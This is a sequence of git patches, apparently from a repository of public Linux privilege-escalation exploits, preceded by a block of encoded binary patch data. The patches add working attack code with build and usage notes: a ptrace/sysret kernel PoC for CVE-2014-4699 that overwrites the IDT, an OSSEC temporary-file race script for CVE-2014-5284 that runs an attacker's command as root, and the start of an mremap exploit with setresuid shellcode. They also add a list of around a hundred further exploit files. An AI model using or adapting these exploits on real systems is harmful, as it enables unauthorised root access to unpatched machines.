zOJ*n9r@`($R34xWbz)E{7RZ__PBs^P^8ZZaU@S4-Y}T{;n!isfRf&ZHpP+ut{_QMV ztv?J6(PtTs-8LVa1Ag3ZbFU`rohX}33BWa$2jqal#P@^q6b>!7XH=CUkQqryL)9G}4k zaUFf#2v7w|;@Gd0ajWiiI@`|lno}M<=h%%zemwW`!8 zNXEs|?A322>2YnDPXXCnwi$6BP^3e@g6t4v*@n< z?S1>S%0rqR2S*jPYyP6LkBg{-HGO*RV`_J67zv>7Bl76bUoWyiS;nNBH-xaVgB@Pa-Kf9oOz%;0_yMyG%{0~aYE5^TJ?m0 zj{#p+FOI^+jH5iCxEZkKM>G#eOnEDHKTX_l93$GqS1zrK12R9dGDlPF=J!72kZNB$ z?49Q2@(l6+b`S}rdVl-419UV+@D(Ran9dpGddN4$P*jLdkt^pT%b7m(r)7%ts7(1- z-T&~8ZbnGO7*HfAVD;MSey&-Npj`PnGsTl_w!hE~wo39aL`q)7u&HJDoqBIkO%SDg z$0KrNE_F98dsO{frEK|L+(Rkq;Rg%N30m@;iZdc`Lb`js z*|^LPP{YHLePog;isA|nw@k-DoPdTbT5ny_b@9V5SRzs}1{BC{_Pyd41|scXzil$U zeJFABG=&C5yTZXxM;xlLkNY%nnAm8SH@}vXW-htJVnt&RQ>vV& z(^k7j6-I-A7epaK9G`Kg>Z8anP`?mLCudRQQN|{1`Coa6e$_U=JH}LJ21Zyb?T#iU zDA5TilnoRZvT5g5Q!JG18Fl>O+~k)$IX89S%AZ9F_LYN#mvQBz!wxJjPh7Ea@HcRy zR8MZ(x=|37QIx_C%L&Xz4Mf!Gx?_-FLT{)<&&M&XK@gDmS2w|rE)c(LB(OS3X&!f1 ze6i^uP{neNU4vR;6^eLbyGYLYMfK~nP|?rpv7^pb6lVA0L58|4#wYJTWlxmgO?s!n z{BGWlAVL#i;iE0~xVO%_LE{HBNXZTOt(3Zk-$n-OtZ%*$0c8}N%x8FW2Ag7=0qJc*;yVmx&c02lMkWHapAC!w21$_Z*AH1LdW4#vQGVIf~XH=z!t3wGyg5ZfI>p zjQRt~iT5EzOX9R!C96bkbK~Rb6Iuo;*o$oM)Pm2ov$tyrRSyr6kxEwNv=(_F2iX%| zdAo&4WYT;X^UJ5@-Wsc$F}}2#cA{RI|3UGUWzbP> zYx~DjU&o4uu&-iZg0r^!`Gm7>53TUCT%C&g*))Og37bF${4v$Jqu{>Riwu`06?UnG zK$ZvfDANt43?yTPJR_(_!jn5%cjuaYPS%f7*C^4QyEpQ8HF&|4m+X}1rTA&b2SBwz zhD{94!8*6G)`-%Zuv@F+VCxpCi5{?+-w$^%sDB`Ozzl!O%%He(v-VQsXZZvlIBT8M zWEabeFCdTEZ=)NIec#B6Tar}2bLy)vRnGrBxM>QeyDEJ1RcT5*x%nhodI%W7W71k~ zCDlzv6{xn6@=K2Ba=m)epux17*P%x<0>f${D^oOL^?ZK0Kzd-A^I~b{ z^aJzY^7n?Jx7o2y=W`OX)XMRX7o#m=7xLBW352QWRBJ=vyG7&#>#?T3nEsu?3l(Ec z{<~+~E#a8@Ef4MM*-BMLmiyh54mMqG>2oC#+3zmZC9w|sHp=AN2)frWJjb?z6p9Yr z>{IeJ&Rl?AAw34p$r{5sy~Q;_62`Y6BRAIC=&M;7%<60$O)AK&mV?y$YVE9OYTnqd!O^$J?bFp0X+!;MkM<6_#%<{D z4#g1xf{f(%xkvx@$DB{&Ooi3JmXBoJW;X+qQRIvO+|c|4lQpsN@#>5?|5%M0RkMP6 zfZ;&d4rY2L2B50JyJlLT{dBy(=uN?@^|sTiK*m+w^gTkYqXns z>Eo)eY}u_A4`TL@n7>(Px)FRR@Ff1tgGsZ3>eFDDXY*!>l!Z!QogTJx9J3w`gd7r% z(NL#;S0LU352+w;0Svy|V=ukpSQW;Ta0;v9$adG+F4Z}oSW;ni=Q-Mu==a2BbI2FR z+Vt+Ov45?#yS71<1UX(w)AZE*884~4b@ZHI?MKy3P&&gu_b-lSniZ=MtIOT_u53pr zJJUCp0SfO@pPd>Z`3WbsS6|6en^2CgD^|Mj3V3`5s`s}%o&ATJF1QMoZVPtNL{jEh zOpg?@J@brz1Rd`pHEzVJ?PKWjeAD>2#Lh&Pk)|$|vMT&+x|$GLr`cOht?Bgt9LOK4 z?-Kauzvzxn1qOb@-6yY1h7LTl^?db{&Tq1NvQJm#P!TZhDnKld@9$nLn5PrG417_{ ze)QH#&G&dS9^Lj_W6}PO6s8!2mPu4Lq`8*pDI2@B1 z__m3+uK;1XOrm{b0Mb7X8-Gq&<_&lrlQKzEW^0f4Zfjunb2*GuLT8R?YZ^N=$}E?c zgb9ozVUPZ9rvG?ihw^<4%qiNVsso$dRoJcyc=4xryM5&S-vH)M*ZZ>)Uokb4aj;u| zc2zKEh06|sXXLfsrWMq4#~j&^7DCRb6g2uqzt8HH3%^lxjWurj3;y!~f`J=>=Y1Yk zaP))tX@e*@w$A4FQVPURldQ!aM38?Ld3aI+1&a46FyrWkf<0JYm}>=|`UXFH+*AMk z`(~DS@#ztT^!}Q++GcIKyy1N)EZ#<65MB(%GYD!8u4p}6iJ*j@H1qwh&Q`69>kWXy z>&=&<807c(3YutUAIM;_fg1`gF0B7h@kvjJ?agyh4D#{a%&q8ud?yM1a{Xe!##Zue zWnf-BB$-xh^bs)WaF94j+ZCd};ko^HQ2g)U178JZt_@D%lTurCU-jI5-9QmrS*cXBNrT{C7t3_fasO%VK30{mMeo27^Ot)@D9S=W{PK z1iSvwBBTi`x#c8BLW!kSvtalk(;ITZQeyOG_gq7VZ(LTiK z`C=T!z$-+<$O9Te=d0Yhl%o~JecvGeoxWuQ3}h$ViuAd) z*=pB=Hxb3e)v-d`ew+S6 zNpXpIISBIb+BY*;+7~JgEx5(~{^S!2;R6aKq*hTGPTEh5IKuA}d6}P73j*iexA!aR zmqTrNG)mMh0L@uD$_*liEErlB{fO+Q+n8OE6PTHcmP;IKH#>Qoho8ldZg)qH$K9_; zM9Fsm7l8sVFmw(o$bz}^qm}a&#kCf}u~whA)=dl#^oPsYzR#CF7q`D$hEp||d-I#D zNm+rYjo}g-r~uchsFNVh%xb)i@+OgylN9M?Eb{)U5zOY6n(CHCyj#1}2S1y~V_Sv~ zNOB#nj$?Jd-Z0|1x1=nMn%~kNu4om_DKvFx1oO*cJYS;31h7uQJZ?gTb&JmpTcg2> z-oA}zD=Sy(c}xKQii()?@Cz2+`w20^qnWQs+z-^?ktU3@m(3CzUY^7U0ZQJ1){iM= z_$lrLdJXL2KwA;Ut5r7kv#oZ~BEJEmwhc*$omIosiC#R_u4Aiy)r_jE<^}>xlu85ou1lI zY|jBcmEYfaqm?@b6%9zLq4EoG)C|FAN2K6A)=wm*r)r4ul%i%t&t|Dq$z9gvOwAcZ z)9<7!B6{RG(willAhXWEGN7GM(#o{I+=}Z!t$m#PMRD5D Date: Wed, 14 Jun 2017 12:03:54 -0400 Subject: [PATCH 05/41] CVE-2014-4699 --- CVE-2014-4699/34134.c | 125 ++++++++++++++++++++++++++++++++++++++++ CVE-2014-4699/README.md | 23 ++++++++ 2 files changed, 148 insertions(+) create mode 100644 CVE-2014-4699/34134.c create mode 100644 CVE-2014-4699/README.md diff --git a/CVE-2014-4699/34134.c b/CVE-2014-4699/34134.c new file mode 100644 index 0000000..539ba57 --- /dev/null +++ b/CVE-2014-4699/34134.c @@ -0,0 +1,125 @@ +/** + * CVE-2014-4699 ptrace/sysret PoC + * by Vitaly Nikolenko + * vnik@hashcrack.org + * + * > gcc -O2 poc_v0.c + * + * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the + * following will trigger the #GP in sysret and overwrite the #PF handler so we + * can land to our NOP sled mapped at 0x80000000. + * However, once landed, the IDT will be trashed. We can either attempt to + * restore it (then escalate privileges and execute our shellcode) or find + * something else to overwrite that would transfer exec flow to our controlled + * user-space address. Since 3.10.something, IDT is read-only anyway. If you + * have any ideas, let me know. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define SIZE 0x10000000 + +typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred); + +unsigned long __user_cs; +unsigned long __user_ss; +unsigned long __user_rflags; + +void __attribute__((regparm(3))) payload() { + uint32_t *fixptr = (void*)0xffffffff81dd70e8; + // restore the #PF handler + *fixptr = -1; + //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630; + //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0; + //commit_creds(prepare_kernel_cred((uint64_t)NULL)); + + //__asm__ volatile ("swapgs\n\t" + // "..."); +} + +int main() { + struct user_regs_struct regs; + uint8_t *trampoline, *tmp; + int status; + + struct { + uint16_t limit; + uint64_t addr; + } __attribute__((packed)) idt; + + // MAP_POPULATE so we don't trigger extra #PF + trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0); + assert(trampoline == 0x80000000); + memset(trampoline, 0x90, SIZE); + tmp = trampoline; + tmp += SIZE-1024; + memcpy(tmp, &payload, 1024); + memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13); + + pid_t chld; + + if ((chld = fork()) < 0) { + perror("fork"); + exit(1); + } + + if (chld == 0) { + if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) { + perror("PTRACE_TRACEME"); + exit(1); + } + raise(SIGSTOP); + fork(); + return 0; + } + + asm volatile("sidt %0" : "=m" (idt)); + printf("IDT addr = 0x%lx\n", idt.addr); + + waitpid(chld, &status, 0); + + ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK); + + ptrace(PTRACE_CONT, chld, 0, 0); + + waitpid(chld, &status, 0); + + ptrace(PTRACE_GETREGS, chld, NULL, ®s); + regs.rdi = 0x0000000000000000; + regs.rip = 0x8fffffffffffffff; + regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78; + + // attempt to restore the IDT + regs.rdi = 0x0000000000000000; + regs.rsi = 0x81658e000010cbd0; + regs.rdx = 0x00000000ffffffff; + regs.rcx = 0x81658e000010cba0; + regs.rax = 0x00000000ffffffff; + regs.r8 = 0x81658e010010cb00; + regs.r9 = 0x00000000ffffffff; + regs.r10 = 0x81668e0000106b10; + regs.r11 = 0x00000000ffffffff; + regs.rbx = 0x81668e0000106ac0; + regs.rbp = 0x00000000ffffffff; + regs.r12 = 0x81668e0000106ac0; + regs.r13 = 0x00000000ffffffff; + regs.r14 = 0x81668e0200106a90; + regs.r15 = 0x00000000ffffffff; + + ptrace(PTRACE_SETREGS, chld, NULL, ®s); + + ptrace(PTRACE_CONT, chld, 0, 0); + + ptrace(PTRACE_DETACH, chld, 0, 0); +} diff --git a/CVE-2014-4699/README.md b/CVE-2014-4699/README.md new file mode 100644 index 0000000..e0b727f --- /dev/null +++ b/CVE-2014-4699/README.md @@ -0,0 +1,23 @@ +# CVE-2014-4699 + +CVE-2014-4699 + +Vulnerability reference: + * [CVE-2014-4699](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4699) + * [exp-db](https://www.exploit-db.com/exploits/34134/) + +## Kernels +``` +before 3.15.4 +``` + +## Usage +``` +$ gcc -O2 poc_v0.c + +``` + + + + + From 372f6d95d02a323a7f5926f1d85beffd770a5747 Mon Sep 17 00:00:00 2001 From: Gitmaninc Date: Wed, 14 Jun 2017 12:04:05 -0400 Subject: [PATCH 06/41] CVE-2014-5284 --- CVE-2014-5284/CVE-2014-5284.py | 82 ++++++++++++++++++++++++++++++++++ CVE-2014-5284/README.md | 22 +++++++++ 2 files changed, 104 insertions(+) create mode 100644 CVE-2014-5284/CVE-2014-5284.py create mode 100644 CVE-2014-5284/README.md diff --git a/CVE-2014-5284/CVE-2014-5284.py b/CVE-2014-5284/CVE-2014-5284.py new file mode 100644 index 0000000..e2c54a8 --- /dev/null +++ b/CVE-2014-5284/CVE-2014-5284.py @@ -0,0 +1,82 @@ +#!/usr/bin/python +# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation +# Date: 14-11-14 +# Exploit Author: skynet-13 +# Vendor Homepage: www.ossec.net/ +# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz +# Version: OSSEC - 2.8 +# Tested on: Ubunutu x86_64 +# CVE : 2014-5284 + +# Created from Research by +# Jeff Petersen +# Roka Security LLC +# jpetersen@rokasecurity.com +# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1 + +# Run this on target machine and follow instructions to execute command as root + +from twisted.internet import inotify +from twisted.python import filepath +from twisted.internet import reactor +import os +import optparse +import signal + + +class HostDenyExploiter(object): + + def __init__(self, path_to_watch, cmd): + self.path = path_to_watch + self.notifier = inotify.INotify() + self.exploit = cmd + + def create_files(self): + print "==============================================" + print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..." + + for i in range(300, 65536): + filename = "/tmp/hosts.deny.%s" % i + f = open(filename, 'w') + f.write("") + f.close() + + def watch_files(self): + print "==============================================" + print "Monitoring tmp for file change...." + print "ssh into the system a few times with an incorrect password" + print "Then wait for up to 10 mins" + print "==============================================" + self.notifier.startReading() + self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change]) + + def write_exploit_to_file(self, path): + print 'Writing exploit to this file' + f = open(str(path).split("'")[1], 'w') + f.write(' sshd : ALL : twist %s \n' % self.exploit) + f.close() + print "==============================================" + print " ssh in again to execute the command" + print "==============================================" + print " End Prog." + os.kill(os.getpid(), signal.SIGUSR1) + + def on_file_change(self, watch, path, mask): + print 'File: ', str(path).split("'")[1], ' has just been modified' + self.notifier.stopReading() + self.write_exploit_to_file(path) + + +if __name__ == '__main__': + parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n") + parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root') + (options, args) = parser.parse_args() + cmd = options.cmd + if options.cmd is None: + print parser.usage + exit(0) + ex = HostDenyExploiter('/tmp', cmd) + ex.create_files() + ex.watch_files() + reactor.run() + exit(0) diff --git a/CVE-2014-5284/README.md b/CVE-2014-5284/README.md new file mode 100644 index 0000000..6139748 --- /dev/null +++ b/CVE-2014-5284/README.md @@ -0,0 +1,22 @@ +# CVE-2014-5284 + +CVE-2014-5284 + +Vulnerability reference: + * [CVE-2014-5284](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5284) + * [exp-db](https://www.exploit-db.com/exploits/35234/) + + +## OSSEC +``` +2.8 +``` + + +## References +* [OSSEC不安全临时文件创建漏洞(CVE-2014-5284)](http://www.linuxidc.com/Linux/2014-12/110401.htm) + + + + + From 54b57d59edd7aca373a6ef4a9e687fa8b9fc5ef0 Mon Sep 17 00:00:00 2001 From: Gitmaninc Date: Wed, 14 Jun 2017 12:04:21 -0400 Subject: [PATCH 07/41] linux-exp --- README.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/README.md b/README.md index ccaae57..362a685 100644 --- a/README.md +++ b/README.md @@ -24,6 +24,15 @@ linux-kernel-exploits - [CVE-2015-1328](./CVE-2015-1328)  [overlayfs] (3.13, 3.16.0, 3.19.0) +- [CVE-2014-5284](./CVE-2014-5284)  [OSSEC] +(2.8) + +- [CVE-2014-4699](./CVE-2014-4699)  [ptrace] +(before 3.15.4) + +- [CVE-2014-4014](./CVE-2014-4014)  [Local Privilege Escalation] +(before 3.14.8) + - [CVE-2014-3153](./CVE-2014-3153)  [futex] (3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8 ,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1) @@ -130,6 +139,7 @@ linux-kernel-exploits ### 参考链接 - [kernel exploits](https://www.kernel-exploits.com/) +- [Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/) ### 转载 From 4dca098e7491efc83903494d7c00f24c843aae99 Mon Sep 17 00:00:00 2001 From: Gitmaninc Date: Wed, 14 Jun 2017 12:16:27 -0400 Subject: [PATCH 08/41] linux-exp --- 2004/CVE-2004-0077/160.c | 300 ++ 2004/CVE-2004-0077/README.md | 19 + 2004/CVE-2004-1235/744.c | 912 +++++ 2004/CVE-2004-1235/README.md | 19 + 2004/caps_to_root/15916.c | 285 ++ 2004/caps_to_root/README.md | 25 + 2004/caps_to_root/root.png | Bin 0 -> 100984 bytes 2005/CVE-2005-0736/1397.c | 730 ++++ 2005/CVE-2005-0736/README.md | 19 + 2006/CVE-2006-2451/2031.c | 109 + 2006/CVE-2006-2451/README.md | 26 + 2006/CVE-2006-3626/2013.c | 194 + 2006/CVE-2006-3626/README.md | 24 + 2008/CVE-2008-0600/5093.c | 147 + 2008/CVE-2008-0600/README.md | 15 + 2008/CVE-2008-0900/5092.c | 289 ++ 2008/CVE-2008-0900/README.md | 13 + 2008/CVE-2008-4210/6851.c | 88 + 2008/CVE-2008-4210/README.md | 13 + 2009/CVE-2009-1185/8478.sh | 133 + 2009/CVE-2009-1185/README.md | 13 + 2009/CVE-2009-1337/8369.sh | 103 + 2009/CVE-2009-1337/README.md | 15 + 2009/CVE-2009-2692/9435.tgz | Bin 0 -> 3492015 bytes 2009/CVE-2009-2692/9436.tgz | Bin 0 -> 1550 bytes 2009/CVE-2009-2692/README.md | 15 + 2009/CVE-2009-2698/36108.c | 107 + 2009/CVE-2009-2698/README.md | 23 + 2009/CVE-2009-3547/README.md | 18 + 2009/CVE-2009-3547/pipe.c_32bit.c | 563 +++ 2010/CVE-2010-0415/README.md | 15 + 2010/CVE-2010-1146/12130.py | 111 + 2010/CVE-2010-1146/README.md | 19 + 2010/CVE-2010-2959/14814.c | 615 ++++ 2010/CVE-2010-2959/README.md | 24 + 2010/CVE-2010-2959/can_bcm | Bin 0 -> 591913 bytes 2010/CVE-2010-3081/15024.c | 930 +++++ 2010/CVE-2010-3081/README.md | 17 + 2010/CVE-2010-3301/15023.c | 194 + 2010/CVE-2010-3301/README.md | 25 + 2010/CVE-2010-3301/ptrace_kmod2-64 | Bin 0 -> 689999 bytes 2010/CVE-2010-3437/15150.c | 359 ++ 2010/CVE-2010-3437/README.md | 23 + 2010/CVE-2010-3904/15285 | 285 ++ 2010/CVE-2010-3904/README.md | 30 + 2010/CVE-2010-3904/rds | Bin 0 -> 582477 bytes 2010/CVE-2010-3904/rds64 | Bin 0 -> 694271 bytes 2010/CVE-2010-4073/17787.c | 608 ++++ 2010/CVE-2010-4073/README.md | 27 + 2010/CVE-2010-4073/half-nelson3 | Bin 0 -> 764888 bytes 2010/CVE-2010-4258/15704.c | 278 ++ 2010/CVE-2010-4258/README.md | 30 + 2010/CVE-2010-4258/full-nelson | Bin 0 -> 584182 bytes 2010/CVE-2010-4258/full-nelson64 | Bin 0 -> 763701 bytes 2010/CVE-2010-4347/15774.c | 253 ++ 2010/CVE-2010-4347/README.md | 24 + 2012/CVE-2012-0056/18411.c | 227 ++ 2012/CVE-2012-0056/README.md | 18 + 2012/CVE-2012-0056/memodipper | Bin 0 -> 654514 bytes 2012/CVE-2012-0056/memodipper64 | Bin 0 -> 836472 bytes 2013/CVE-2013-0268/27297.c | 171 + 2013/CVE-2013-0268/README.md | 18 + 2013/CVE-2013-2094/README.md | 29 + 2013/CVE-2013-2094/perf_swevent | Bin 0 -> 893703 bytes 2013/CVE-2013-2094/perf_swevent.c | 282 ++ 2013/CVE-2013-2094/perf_swevent64 | Bin 0 -> 884159 bytes 2013/CVE-2013-2094/perf_swevent64.c | 133 + 2014/CVE-2014-0038/31346.c | 199 + 2014/CVE-2014-0038/README.md | 23 + 2014/CVE-2014-0038/timeoutpwn64 | Bin 0 -> 906519 bytes 2014/CVE-2014-0196/README.md | 22 + 2014/CVE-2014-0196/cve-2014-0196.c | 222 ++ 2014/CVE-2014-3153/35370.c | 701 ++++ .../CVE-2014-3153 ubuntu x86.zip | Bin 0 -> 126463 bytes 2014/CVE-2014-3153/CVE-2014-3153.zip | Bin 0 -> 11913 bytes 2014/CVE-2014-3153/README.md | 30 + 2014/CVE-2014-3153/UPDATE-SuperSU-v1.99r4.zip | Bin 0 -> 1237520 bytes 2014/CVE-2014-4014/33824.c | 72 + 2014/CVE-2014-4014/README.md | 29 + .../screen-shot-2014-06-21-at-113329.png | Bin 0 -> 123660 bytes 2014/CVE-2014-4699/34134.c | 125 + 2014/CVE-2014-4699/README.md | 23 + 2014/CVE-2014-5284/CVE-2014-5284.py | 82 + 2014/CVE-2014-5284/README.md | 22 + 2015/CVE-2015-1328/37292.c | 153 + 2015/CVE-2015-1328/40688.rb | 293 ++ 2015/CVE-2015-1328/README.md | 30 + 2015/CVE-2015-1328/ofs_32 | Bin 0 -> 746008 bytes 2015/CVE-2015-1328/ofs_64 | Bin 0 -> 886664 bytes 2016/CVE-2016-0728/README.md | 26 + 2016/CVE-2016-0728/cve-2016-0728.c | 170 + 2016/CVE-2016-0728/cve-2016-0728/Android.mk | 20 + 2016/CVE-2016-0728/cve-2016-0728/keyutils.h | 88 + 2016/CVE-2016-0728/cve-2016-0728/rootz.c | 173 + 2016/CVE-2016-5195/README.md | 42 + 2016/CVE-2016-5195/dirtyc0w.c | 1005 ++++++ 2016/CVE-2016-5195/index.html | 113 + 2016/CVE-2016-5195/pokemon.c | 72 + 2017/CVE-2017-1000367/README.md | 33 + .../Screenshot_2017-06-05_21-40-38.png | Bin 0 -> 77210 bytes 2017/CVE-2017-1000367/sudopwn.c | 986 +++++ 2017/CVE-2017-7494/42060.py | 468 +++ 2017/CVE-2017-7494/README.md | 33 + 2017/CVE-2017-7494/is_known_pipename.rb | 3198 +++++++++++++++++ README.md | 81 +- 105 files changed, 17456 insertions(+), 40 deletions(-) create mode 100644 2004/CVE-2004-0077/160.c create mode 100644 2004/CVE-2004-0077/README.md create mode 100644 2004/CVE-2004-1235/744.c create mode 100644 2004/CVE-2004-1235/README.md create mode 100644 2004/caps_to_root/15916.c create mode 100644 2004/caps_to_root/README.md create mode 100644 2004/caps_to_root/root.png create mode 100644 2005/CVE-2005-0736/1397.c create mode 100644 2005/CVE-2005-0736/README.md create mode 100644 2006/CVE-2006-2451/2031.c create mode 100644 2006/CVE-2006-2451/README.md create mode 100644 2006/CVE-2006-3626/2013.c create mode 100644 2006/CVE-2006-3626/README.md create mode 100644 2008/CVE-2008-0600/5093.c create mode 100644 2008/CVE-2008-0600/README.md create mode 100644 2008/CVE-2008-0900/5092.c create mode 100644 2008/CVE-2008-0900/README.md create mode 100644 2008/CVE-2008-4210/6851.c create mode 100644 2008/CVE-2008-4210/README.md create mode 100644 2009/CVE-2009-1185/8478.sh create mode 100644 2009/CVE-2009-1185/README.md create mode 100644 2009/CVE-2009-1337/8369.sh create mode 100644 2009/CVE-2009-1337/README.md create mode 100644 2009/CVE-2009-2692/9435.tgz create mode 100644 2009/CVE-2009-2692/9436.tgz create mode 100644 2009/CVE-2009-2692/README.md create mode 100644 2009/CVE-2009-2698/36108.c create mode 100644 2009/CVE-2009-2698/README.md create mode 100644 2009/CVE-2009-3547/README.md create mode 100644 2009/CVE-2009-3547/pipe.c_32bit.c create mode 100644 2010/CVE-2010-0415/README.md create mode 100644 2010/CVE-2010-1146/12130.py create mode 100644 2010/CVE-2010-1146/README.md create mode 100644 2010/CVE-2010-2959/14814.c create mode 100644 2010/CVE-2010-2959/README.md create mode 100644 2010/CVE-2010-2959/can_bcm create mode 100644 2010/CVE-2010-3081/15024.c create mode 100644 2010/CVE-2010-3081/README.md create mode 100644 2010/CVE-2010-3301/15023.c create mode 100644 2010/CVE-2010-3301/README.md create mode 100644 2010/CVE-2010-3301/ptrace_kmod2-64 create mode 100644 2010/CVE-2010-3437/15150.c create mode 100644 2010/CVE-2010-3437/README.md create mode 100644 2010/CVE-2010-3904/15285 create mode 100644 2010/CVE-2010-3904/README.md create mode 100644 2010/CVE-2010-3904/rds create mode 100644 2010/CVE-2010-3904/rds64 create mode 100644 2010/CVE-2010-4073/17787.c create mode 100644 2010/CVE-2010-4073/README.md create mode 100644 2010/CVE-2010-4073/half-nelson3 create mode 100644 2010/CVE-2010-4258/15704.c create mode 100644 2010/CVE-2010-4258/README.md create mode 100644 2010/CVE-2010-4258/full-nelson create mode 100644 2010/CVE-2010-4258/full-nelson64 create mode 100644 2010/CVE-2010-4347/15774.c create mode 100644 2010/CVE-2010-4347/README.md create mode 100644 2012/CVE-2012-0056/18411.c create mode 100644 2012/CVE-2012-0056/README.md create mode 100644 2012/CVE-2012-0056/memodipper create mode 100644 2012/CVE-2012-0056/memodipper64 create mode 100644 2013/CVE-2013-0268/27297.c create mode 100644 2013/CVE-2013-0268/README.md create mode 100644 2013/CVE-2013-2094/README.md create mode 100644 2013/CVE-2013-2094/perf_swevent create mode 100644 2013/CVE-2013-2094/perf_swevent.c create mode 100644 2013/CVE-2013-2094/perf_swevent64 create mode 100644 2013/CVE-2013-2094/perf_swevent64.c create mode 100644 2014/CVE-2014-0038/31346.c create mode 100644 2014/CVE-2014-0038/README.md create mode 100644 2014/CVE-2014-0038/timeoutpwn64 create mode 100644 2014/CVE-2014-0196/README.md create mode 100644 2014/CVE-2014-0196/cve-2014-0196.c create mode 100644 2014/CVE-2014-3153/35370.c create mode 100755 2014/CVE-2014-3153/CVE-2014-3153 ubuntu x86.zip create mode 100755 2014/CVE-2014-3153/CVE-2014-3153.zip create mode 100644 2014/CVE-2014-3153/README.md create mode 100755 2014/CVE-2014-3153/UPDATE-SuperSU-v1.99r4.zip create mode 100644 2014/CVE-2014-4014/33824.c create mode 100644 2014/CVE-2014-4014/README.md create mode 100644 2014/CVE-2014-4014/screen-shot-2014-06-21-at-113329.png create mode 100644 2014/CVE-2014-4699/34134.c create mode 100644 2014/CVE-2014-4699/README.md create mode 100644 2014/CVE-2014-5284/CVE-2014-5284.py create mode 100644 2014/CVE-2014-5284/README.md create mode 100644 2015/CVE-2015-1328/37292.c create mode 100644 2015/CVE-2015-1328/40688.rb create mode 100644 2015/CVE-2015-1328/README.md create mode 100644 2015/CVE-2015-1328/ofs_32 create mode 100644 2015/CVE-2015-1328/ofs_64 create mode 100644 2016/CVE-2016-0728/README.md create mode 100644 2016/CVE-2016-0728/cve-2016-0728.c create mode 100644 2016/CVE-2016-0728/cve-2016-0728/Android.mk create mode 100644 2016/CVE-2016-0728/cve-2016-0728/keyutils.h create mode 100644 2016/CVE-2016-0728/cve-2016-0728/rootz.c create mode 100644 2016/CVE-2016-5195/README.md create mode 100644 2016/CVE-2016-5195/dirtyc0w.c create mode 100644 2016/CVE-2016-5195/index.html create mode 100644 2016/CVE-2016-5195/pokemon.c create mode 100755 2017/CVE-2017-1000367/README.md create mode 100644 2017/CVE-2017-1000367/Screenshot_2017-06-05_21-40-38.png create mode 100644 2017/CVE-2017-1000367/sudopwn.c create mode 100644 2017/CVE-2017-7494/42060.py create mode 100644 2017/CVE-2017-7494/README.md create mode 100644 2017/CVE-2017-7494/is_known_pipename.rb diff --git a/2004/CVE-2004-0077/160.c b/2004/CVE-2004-0077/160.c new file mode 100644 index 0000000..fa60ee8 --- /dev/null +++ b/2004/CVE-2004-0077/160.c @@ -0,0 +1,300 @@ +/* + * + * mremap missing do_munmap return check kernel exploit + * + * gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte + * ./mremap_pte [suid] [[shell]] + * + * Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2 + * + * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. + * + * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" + * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION + * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include + + +#define str(s) #s +#define xstr(s) str(s) + +// this is for standard kernels with 3/1 split +#define STARTADDR 0x40000000 +#define PGD_SIZE (PAGE_SIZE * 1024) +#define VICTIM (STARTADDR + PGD_SIZE) +#define MMAP_BASE (STARTADDR + 3*PGD_SIZE) + +#define DSIGNAL SIGCHLD +#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM) + +#define MREMAP_MAYMOVE ( (1UL) << 0 ) +#define MREMAP_FIXED ( (1UL) << 1 ) + +#define __NR_sys_mremap __NR_mremap + + +// how many ld.so pages? this is the .text section length (like cat +// /proc/self/maps) in pages +#define LINKERPAGES 0x14 + +// suid victim +static char *suid="/bin/ping"; + +// shell to start +static char *launch="/bin/bash"; + + +_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, + ulong, e); +unsigned long sys_mremap(unsigned long addr, unsigned long old_len, + unsigned long new_len, unsigned long flags, + unsigned long new_addr); + +static volatile unsigned base, *t, cnt, old_esp, prot, victim=0; +static int i, pid=0; +static char *env[2], *argv[2]; +static ulong ret; + + +// code to appear inside the suid image +static void suid_code(void) +{ +__asm__( + " call callme \n" + +// setresuid(0, 0, 0), setresgid(0, 0, 0) + "jumpme: xorl %ebx, %ebx \n" + " xorl %ecx, %ecx \n" + " xorl %edx, %edx \n" + " xorl %eax, %eax \n" + " mov $"xstr(__NR_setresuid)", %al \n" + " int 